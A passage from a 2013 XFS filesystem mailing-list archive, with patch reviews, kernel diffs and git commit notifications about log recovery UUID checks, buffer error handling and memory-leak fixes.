tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 97D0029DFC for ; Tue, 24 Sep 2013 12:46:37 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B879AC006; Tue, 24 Sep 2013 10:46:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D3EB24266DC; Tue, 24 Sep 2013 12:46:33 -0500 (CDT) Date: Tue, 24 Sep 2013 12:46:33 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/5] xfs: fixes for 3.12-rc3 Message-ID: <20130924174633.GH1935@sgi.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Sep 24, 2013 at 04:01:11PM +1000, Dave Chinner wrote: > These are fixes needed for regressions introduced in the 3.12 merge. > I posted the first 3 patches a week ago, and sinve then I've found a > couple more issues in working through all the xfstests failures I've > been seeing since 3.12-rc1 was released. > > The last patch in the series fixes a filesystem corruption bug, so > getting these into -rc3 should be considered a priority.... Applied 2-5. From tinguely@sgi.com Tue Sep 24 13:33:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85FA229E0B for ; Tue, 24 Sep 2013 13:33:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 454AA304066; Tue, 24 Sep 2013 11:33:17 -0700 (PDT) Message-ID: <5241DAEC.8080109@sgi.com> Date: Tue, 24 Sep 2013 13:33:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Chandra Seetharaman Subject: Re: [PATCH] xfsprogs: fix potential memory free issues in quota_group_type() References: <1379832353.4089.10.camel@ThinkPad-T5421> In-Reply-To: <1379832353.4089.10.camel@ThinkPad-T5421> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/22/13 01:45, Li Zhong wrote: > This patch tries to fix CID 997009 reported by Coverity scan, as > suggested by sekharan > > If getgroups() fails, gids might be malloced, and overwritten with &gid. > So the free() at the end of the function is trying to free a variable on > the stack, while the pointer to the allocated memory is lost. > > Signed-off-by: Li Zhong > --- Looks good to me. And it seems that dofree would always be true in the following else statement. Reviewed-by: Mark Tinguely From tinguely@sgi.com Tue Sep 24 13:59:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 692A229E0B for ; Tue, 24 Sep 2013 13:59:53 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 181ED8F8071; Tue, 24 Sep 2013 11:59:50 -0700 (PDT) Message-ID: <5241E125.7010902@sgi.com> Date: Tue, 24 Sep 2013 13:59:49 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Chandra Seetharaman Subject: Re: [PATCH] xfsprogs: fix potential memory leak in verify_set_primary_sb() References: <1379829679.4089.2.camel@ThinkPad-T5421> In-Reply-To: <1379829679.4089.2.camel@ThinkPad-T5421> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/22/13 01:01, Li Zhong wrote: > This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, > as suggested by sekharan. > > Signed-off-by: Li Zhong > --- > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > /* > * see if we have enough superblocks to bother with > */ > - if (num_ok < num_sbs / 2) > - return(XR_INSUFF_SEC_SB); > + if (num_ok < num_sbs / 2) { > + retval = XR_INSUFF_SEC_SB; > + goto out_free_list; > + } > Looks good. list, sb and check could have been allocated at this point. Isn't the list been added to before the conditional in the for loop?: list = add_geo(list, &geo, sb_index); /* * grab N secondaries. check them off as we get them * so we only process each one once */ for (round = 0; round < skip; round++) { ... if (get_sb(sb, off, size, agno) == XR_EOF) { retval = 1; goto out; ^^^^^^^^^ out_free_list? } --Mark. From bpm@sgi.com Tue Sep 24 13:59:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0EFBF29E0B for ; Tue, 24 Sep 2013 13:59:54 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id EBC988F8081; Tue, 24 Sep 2013 11:59:53 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A79574266DC; Tue, 24 Sep 2013 13:59:53 -0500 (CDT) Date: Tue, 24 Sep 2013 13:59:53 -0500 From: Ben Myers To: Mark Tinguely , Dave Chinner Cc: stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130924185953.GI1935@sgi.com> References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5241CD70.7050800@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Sep 24, 2013 at 12:35:44PM -0500, Mark Tinguely wrote: > On 09/23/13 18:48, Dave Chinner wrote: > >On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: > >>Commit f5ea1100 cleans up the disk to host conversions for > >>node directory entries, but because a variable is reused in > >>xfs_node_toosmall() the next node is not correctly found. > >>If the original node is small enough (<= 3/8 of the node size), > >>this change may incorrectly cause a node collapse when it should > >>not. > > > >The comment about the size of the node triggering a collapse is > >irrelevant - nodes always collapse at that given size. What this > >doesn't tell us is why the crash occurs - "the next node is not > >correctly found" is not particularly obvious, and would require > >quite a bit of code reading to work out from first principles a > >couple of years down the track. > > > >The commit message should be more precise and describe what the > >underlying cause of the failure was. i.e. that the node is finding itself as the merge > >candidate because we go forward, overwrite the pointers and the new > >block's backward sibling is the original block which is where we end > >up on teh second loop. And vice versa if we go backwards first... > > > >Also, the "next node" is correctly termed a "sibling", and it's > >either the forwards or backwards sibling, not the "next" sibling as > >the direction of movement is important. So perhaps this > >is better written as: > > > >"When a node is considered for a merge with a sibling, it overwrites > >the sibling pointers of the original node with the sibling's > >pointers. This leads to loop considering the original node as a > >merge candidate with itself in the second pass, and so it > >incorrectly determines a merge should occur." > > > > Are you done ranting? Get the @#$% bug patched. /me rolls his eyes. I gather this means you're not inclined to repost. I'll add Dave's suggestions to the commit header and move on. Reviewed-by: Ben Myers Applied. -Ben From bpm@oss.sgi.com Tue Sep 24 15:06:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 91D1229DFB; Tue, 24 Sep 2013 15:06:59 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v3.12-rc1-4-g566055d X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 272b98c6455f00884f0350f775c5342358ebb73f X-Git-Newrev: 566055d33a91ddddb1cb31220b01ac4abd2d2bdd Message-Id: <20130924200659.91D1229DFB@oss.sgi.com> Date: Tue, 24 Sep 2013 15:06:59 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 566055d xfs: log recovery lsn ordering needs uuid check b771af2 xfs: fix XFS_IOC_FREE_EOFBLOCKS definition b313a5f xfs: asserting lock not held during freeing not valid 4885235 xfs: lock the AIL before removing the buffer item from 272b98c6455f00884f0350f775c5342358ebb73f (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 566055d33a91ddddb1cb31220b01ac4abd2d2bdd Author: Dave Chinner Date: Tue Sep 24 16:01:16 2013 +1000 xfs: log recovery lsn ordering needs uuid check After a fair number of xfstests runs, xfs/182 started to fail regularly with a corrupted directory - a directory read verifier was failing after recovery because it found a block with a XARM magic number (remote attribute block) rather than a directory data block. The first time I saw this repeated failure I did /something/ and the problem went away, so I was never able to find the underlying problem. Test xfs/182 failed again today, and I found the root cause before I did /something else/ that made it go away. Tracing indicated that the block in question was being correctly logged, the log was being flushed by sync, but the buffer was not being written back before the shutdown occurred. Tracing also indicated that log recovery was also reading the block, but then never writing it before log recovery invalidated the cache, indicating that it was not modified by log recovery. More detailed analysis of the corpse indicated that the filesystem had a uuid of "a4131074-1872-4cac-9323-2229adbcb886" but the XARM block had a uuid of "8f32f043-c3c9-e7f8-f947-4e7f989c05d3", which indicated it was a block from an older filesystem. The reason that log recovery didn't replay it was that the LSN in the XARM block was larger than the LSN of the transaction being replayed, and so the block was not overwritten by log recovery. Hence, log recovery cant blindly trust the magic number and LSN in the block - it must verify that it belongs to the filesystem being recovered before using the LSN. i.e. if the UUIDs don't match, we need to unconditionally recovery the change held in the log. This patch was first tested on a block device that was repeatedly causing xfs/182 to fail with the same failure on the same block with the same directory read corruption signature (i.e. XARM block). It did not fail, and hasn't failed since. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit b771af2fcb4a8a2df7e9b8784cd80e1774c34198 Author: Dave Chinner Date: Tue Sep 24 16:01:15 2013 +1000 xfs: fix XFS_IOC_FREE_EOFBLOCKS definition It uses a kernel internal structure in it's definition rather than the user visible structure that is passed to the ioctl. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b313a5f1cb0bf3276d5457b52b9f75a940e7b5e9 Author: Dave Chinner Date: Tue Sep 24 16:01:14 2013 +1000 xfs: asserting lock not held during freeing not valid When we free an inode, we do so via RCU. As an RCU lookup can occur at any time before we free an inode, and that lookup takes the inode flags lock, we cannot safely assert that the flags lock is not held just before marking it dead and running call_rcu() to free the inode. We check on allocation of a new inode structre that the lock is not held, so we still have protection against locks being leaked and hence not correctly initialised when allocated out of the slab. Hence just remove the assert... Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 4885235806bb95c3fad5a5238e323cb746c3a49b Author: Dave Chinner Date: Tue Sep 24 16:01:13 2013 +1000 xfs: lock the AIL before removing the buffer item Regression introduced by commit 46f9d2e ("xfs: aborted buf items can be in the AIL") which fails to lock the AIL before removing the item. Spinlock debugging throws a warning about this. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf_item.c | 1 + fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 9 +++--- fs/xfs/xfs_log_recover.c | 73 ++++++++++++++++++++++++++++++++++++++---------- 4 files changed, 65 insertions(+), 20 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Sep 24 15:07:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 5C34829DFB; Tue, 24 Sep 2013 15:07:08 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. v3.12-rc1-4-g566055d X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 272b98c6455f00884f0350f775c5342358ebb73f X-Git-Newrev: 566055d33a91ddddb1cb31220b01ac4abd2d2bdd Message-Id: <20130924200708.5C34829DFB@oss.sgi.com> Date: Tue, 24 Sep 2013 15:07:08 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 566055d xfs: log recovery lsn ordering needs uuid check b771af2 xfs: fix XFS_IOC_FREE_EOFBLOCKS definition b313a5f xfs: asserting lock not held during freeing not valid 4885235 xfs: lock the AIL before removing the buffer item from 272b98c6455f00884f0350f775c5342358ebb73f (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 566055d33a91ddddb1cb31220b01ac4abd2d2bdd Author: Dave Chinner Date: Tue Sep 24 16:01:16 2013 +1000 xfs: log recovery lsn ordering needs uuid check After a fair number of xfstests runs, xfs/182 started to fail regularly with a corrupted directory - a directory read verifier was failing after recovery because it found a block with a XARM magic number (remote attribute block) rather than a directory data block. The first time I saw this repeated failure I did /something/ and the problem went away, so I was never able to find the underlying problem. Test xfs/182 failed again today, and I found the root cause before I did /something else/ that made it go away. Tracing indicated that the block in question was being correctly logged, the log was being flushed by sync, but the buffer was not being written back before the shutdown occurred. Tracing also indicated that log recovery was also reading the block, but then never writing it before log recovery invalidated the cache, indicating that it was not modified by log recovery. More detailed analysis of the corpse indicated that the filesystem had a uuid of "a4131074-1872-4cac-9323-2229adbcb886" but the XARM block had a uuid of "8f32f043-c3c9-e7f8-f947-4e7f989c05d3", which indicated it was a block from an older filesystem. The reason that log recovery didn't replay it was that the LSN in the XARM block was larger than the LSN of the transaction being replayed, and so the block was not overwritten by log recovery. Hence, log recovery cant blindly trust the magic number and LSN in the block - it must verify that it belongs to the filesystem being recovered before using the LSN. i.e. if the UUIDs don't match, we need to unconditionally recovery the change held in the log. This patch was first tested on a block device that was repeatedly causing xfs/182 to fail with the same failure on the same block with the same directory read corruption signature (i.e. XARM block). It did not fail, and hasn't failed since. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit b771af2fcb4a8a2df7e9b8784cd80e1774c34198 Author: Dave Chinner Date: Tue Sep 24 16:01:15 2013 +1000 xfs: fix XFS_IOC_FREE_EOFBLOCKS definition It uses a kernel internal structure in it's definition rather than the user visible structure that is passed to the ioctl. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b313a5f1cb0bf3276d5457b52b9f75a940e7b5e9 Author: Dave Chinner Date: Tue Sep 24 16:01:14 2013 +1000 xfs: asserting lock not held during freeing not valid When we free an inode, we do so via RCU. As an RCU lookup can occur at any time before we free an inode, and that lookup takes the inode flags lock, we cannot safely assert that the flags lock is not held just before marking it dead and running call_rcu() to free the inode. We check on allocation of a new inode structre that the lock is not held, so we still have protection against locks being leaked and hence not correctly initialised when allocated out of the slab. Hence just remove the assert... Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 4885235806bb95c3fad5a5238e323cb746c3a49b Author: Dave Chinner Date: Tue Sep 24 16:01:13 2013 +1000 xfs: lock the AIL before removing the buffer item Regression introduced by commit 46f9d2e ("xfs: aborted buf items can be in the AIL") which fails to lock the AIL before removing the item. Spinlock debugging throws a warning about this. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_buf_item.c | 1 + fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 9 +++--- fs/xfs/xfs_log_recover.c | 73 ++++++++++++++++++++++++++++++++++++++---------- 4 files changed, 65 insertions(+), 20 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Tue Sep 24 15:32:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D4F2E7F37 for ; Tue, 24 Sep 2013 15:32:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C263F304048 for ; Tue, 24 Sep 2013 13:32:39 -0700 (PDT) X-ASG-Debug-ID: 1380054757-04cbb02c3e139d330001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id oFF5v6P3BXKpKFiq for ; Tue, 24 Sep 2013 13:32:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArgGAGD2QVJ5LCC0/2dsb2JhbABbgweDS7hdhT2BHxd0giUBAQUnExwjEAgDDgcDCSUPBSUDIROIBLxZFo87B4MdgQADl3uReIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 06:02:36 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOZHc-0000WX-Hy; Wed, 25 Sep 2013 06:32:32 +1000 Date: Wed, 25 Sep 2013 06:32:32 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20130924203232.GA26872@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-2-git-send-email-david@fromorbit.com> <20130924153324.GF1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130924153324.GF1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380054757 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 10:33:24AM -0500, Ben Myers wrote: > Hi Dave, > > On Tue, Sep 24, 2013 at 04:01:12PM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > fsstress failed during a shutdown with the following assert: > > > > XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 > > ..... > > xfs_buf_stale+0x3f/0xf0 > > xfs_bioerror_relse+0x2d/0x90 > > xfsbdstrat+0x51/0xa0 > > Here you're showing an assert reported through an xfsbdstrat codepath... > > > xfs_zero_remaining_bytes+0x1d1/0x2d0 > > xfs_free_file_space+0x5d0/0x600 > > xfs_change_file_space+0x251/0x3a0 > > xfs_ioc_space+0xcc/0x130 > > ..... > > > > xfs_zero_remaining_bytes() works with uncached buffers, and hence if > > we are preventing IO due to a shutdown, we should not be marking it > > stale as that is only for cached buffers. Instead, just mark it with > > an error and make sure it gets to the caller. > > > > Signed-off-by: Dave Chinner > > --- > > fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- > > 1 file changed, 15 insertions(+), 16 deletions(-) > > > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > > index 2634700..956685f 100644 > > --- a/fs/xfs/xfs_buf.c > > +++ b/fs/xfs/xfs_buf.c > > @@ -1093,25 +1093,20 @@ xfs_bioerror_relse( > > struct xfs_buf *bp) > > { > > int64_t fl = bp->b_flags; > > + > > /* > > - * No need to wait until the buffer is unpinned. > > - * We aren't flushing it. > > - * > > - * chunkhold expects B_DONE to be set, whether > > - * we actually finish the I/O or not. We don't want to > > - * change that interface. > > + * No need to wait until the buffer is unpinned. We aren't flushing it. > > */ > > XFS_BUF_UNREAD(bp); > > XFS_BUF_DONE(bp); > > xfs_buf_stale(bp); > > bp->b_iodone = NULL; > > + > > + /* > > + * There's no reason to mark error for ASYNC buffers as there is no-one > > + * waiting to collect the error. > > + */ > > if (!(fl & XBF_ASYNC)) { > > - /* > > - * Mark b_error and B_ERROR _both_. > > - * Lot's of chunkcache code assumes that. > > - * There's no reason to mark error for > > - * ASYNC buffers. > > - */ > > xfs_buf_ioerror(bp, EIO); > > complete(&bp->b_iowait); > > } else { > > @@ -1128,11 +1123,15 @@ xfs_bdstrat_cb( > > if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { > > trace_xfs_bdstrat_shut(bp, _RET_IP_); > > /* > > - * Metadata write that didn't get logged but > > - * written delayed anyway. These aren't associated > > - * with a transaction, and can be ignored. > > + * If this is a cached write, then it is likely to be a delayed > > + * write metadata buffer that can be ignored because the > > + * contents are logged. If it's an uncached buffer or a read > > + * operation, then the caller will get the error through the > > + * normal IO completion path. We can tell if the buffer is > > + * cached or not by looking to see if the b_pag field is NULL or > > + * not. > > */ > > - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) > > + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) > > ...but it looks like your fix is in xfs_bdstrat_cb, which wouldn't have been > involved in the stack you posted above. What am I missing? That the first hunk that changes xfs_bioerror_relse() fixes the bug that caused the assert failure through xfsbdstrat(). However, if we issue the uncached IO through bwrite() rather than xfsbdstrat() directly, we need to fix xfs_bdstrat_cb() to handle uncached buffers appropriately. i.e. there are multiple IO path call-chain and they all need to call the correct error handler for uncached buffers.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Sep 24 15:59:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5F5077F4E for ; Tue, 24 Sep 2013 15:59:52 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 43D7D8F8066; Tue, 24 Sep 2013 13:59:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1F51F4266DC; Tue, 24 Sep 2013 15:59:49 -0500 (CDT) Date: Tue, 24 Sep 2013 15:59:49 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20130924205949.GK1935@sgi.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-2-git-send-email-david@fromorbit.com> <20130924153324.GF1935@sgi.com> <20130924203232.GA26872@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130924203232.GA26872@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Wed, Sep 25, 2013 at 06:32:32AM +1000, Dave Chinner wrote: > On Tue, Sep 24, 2013 at 10:33:24AM -0500, Ben Myers wrote: > > Hi Dave, > > > > On Tue, Sep 24, 2013 at 04:01:12PM +1000, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > fsstress failed during a shutdown with the following assert: > > > > > > XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 > > > ..... > > > xfs_buf_stale+0x3f/0xf0 > > > xfs_bioerror_relse+0x2d/0x90 > > > xfsbdstrat+0x51/0xa0 > > > > Here you're showing an assert reported through an xfsbdstrat codepath... > > > > > xfs_zero_remaining_bytes+0x1d1/0x2d0 > > > xfs_free_file_space+0x5d0/0x600 > > > xfs_change_file_space+0x251/0x3a0 > > > xfs_ioc_space+0xcc/0x130 > > > ..... > > > > > > xfs_zero_remaining_bytes() works with uncached buffers, and hence if > > > we are preventing IO due to a shutdown, we should not be marking it > > > stale as that is only for cached buffers. Instead, just mark it with > > > an error and make sure it gets to the caller. > > > > > > Signed-off-by: Dave Chinner > > > --- > > > fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- > > > 1 file changed, 15 insertions(+), 16 deletions(-) > > > > > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > > > index 2634700..956685f 100644 > > > --- a/fs/xfs/xfs_buf.c > > > +++ b/fs/xfs/xfs_buf.c > > > @@ -1093,25 +1093,20 @@ xfs_bioerror_relse( > > > struct xfs_buf *bp) > > > { > > > int64_t fl = bp->b_flags; > > > + > > > /* > > > - * No need to wait until the buffer is unpinned. > > > - * We aren't flushing it. > > > - * > > > - * chunkhold expects B_DONE to be set, whether > > > - * we actually finish the I/O or not. We don't want to > > > - * change that interface. > > > + * No need to wait until the buffer is unpinned. We aren't flushing it. > > > */ > > > XFS_BUF_UNREAD(bp); > > > XFS_BUF_DONE(bp); > > > xfs_buf_stale(bp); > > > bp->b_iodone = NULL; > > > + > > > + /* > > > + * There's no reason to mark error for ASYNC buffers as there is no-one > > > + * waiting to collect the error. > > > + */ > > > if (!(fl & XBF_ASYNC)) { > > > - /* > > > - * Mark b_error and B_ERROR _both_. > > > - * Lot's of chunkcache code assumes that. > > > - * There's no reason to mark error for > > > - * ASYNC buffers. > > > - */ > > > xfs_buf_ioerror(bp, EIO); > > > complete(&bp->b_iowait); > > > } else { > > > @@ -1128,11 +1123,15 @@ xfs_bdstrat_cb( > > > if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { > > > trace_xfs_bdstrat_shut(bp, _RET_IP_); > > > /* > > > - * Metadata write that didn't get logged but > > > - * written delayed anyway. These aren't associated > > > - * with a transaction, and can be ignored. > > > + * If this is a cached write, then it is likely to be a delayed > > > + * write metadata buffer that can be ignored because the > > > + * contents are logged. If it's an uncached buffer or a read > > > + * operation, then the caller will get the error through the > > > + * normal IO completion path. We can tell if the buffer is > > > + * cached or not by looking to see if the b_pag field is NULL or > > > + * not. > > > */ > > > - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) > > > + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) ^^^^^^^^^^^^^ > > > > ...but it looks like your fix is in xfs_bdstrat_cb, which wouldn't have been > > involved in the stack you posted above. What am I missing? > > That the first hunk that changes xfs_bioerror_relse() fixes the bug > that caused the assert failure through xfsbdstrat(). *blink* All I see in that first hunk are changes to comments. The second hunk seems to contain the only functional change, highlighted above. Thanks, Ben From david@fromorbit.com Tue Sep 24 16:07:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EB5229DFB for ; Tue, 24 Sep 2013 16:07:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2FD5CAC009 for ; Tue, 24 Sep 2013 14:07:24 -0700 (PDT) X-ASG-Debug-ID: 1380056841-04cb6c37775433d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id DN3HdnRCAioHHGQt for ; Tue, 24 Sep 2013 14:07:21 -0700 (PDT) 